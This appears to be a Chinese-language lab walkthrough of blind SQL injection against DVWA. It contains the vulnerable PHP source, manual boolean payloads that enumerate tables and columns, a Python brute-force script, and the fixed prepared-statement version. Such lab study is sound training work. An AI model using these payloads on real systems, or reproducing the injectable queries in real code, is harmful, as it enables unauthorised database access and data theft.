// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; }
猜测表的个数 1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 # 1' and (select count(table_name) from information_schema.tables where table_schema=database())<5 # 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 猜测表名长度 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 猜测第一个表名 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 猜测第二个表名 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #
最后获取到表个数为2,表名分别为guestbook和users。
获取表中字段名
1 2 3 4 5 6 7 8 9
猜测字段个数 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
猜测字段长度 1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=7 # 猜测字段名称 1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=117 #
for j in range(1,50): databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#' # 所有payload里的注释#要用url编码%23表示,因为这是直接添加在url里的 if'User ID exists in the database.'in s.get(url+databaseLen_payload, headers=headers).text: databaseLen = j break print('database_lenth: '+str(databaseLen)) databse_name = '' for j in range(1,databaseLen+1): for i in payloads: databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'
if'User ID exists in the database.'in s.get(url+databse_payload, headers=headers).text: databse_name += i print('database_name: '+databse_name) # 3.爆破表的个数 for j in range(1,50): tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+tableNum_payload, headers=headers).text: tableNum = j break print('tableNum: '+str(tableNum))
# 4.爆出所有的表名 # (1)爆出各个表名的长度 for j in range(0,tableNum): table_name = '' for i in range(1,50): tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if'User ID exists in the database.'in s.get(url+tableLen_payload, headers=headers).text: tableLen = i print('table'+str(j+1)+'_length: '+str(tableLen)) # (2)内部循环爆破每个表的表名 for m in range(1,tableLen+1): for n in payloads: table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#' if'User ID exists in the database.'in s.get(url+table_payload, headers=headers).text: table_name += n print('table'+str(j+1)+'_name: '+table_name)
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; }
// Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
// Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } }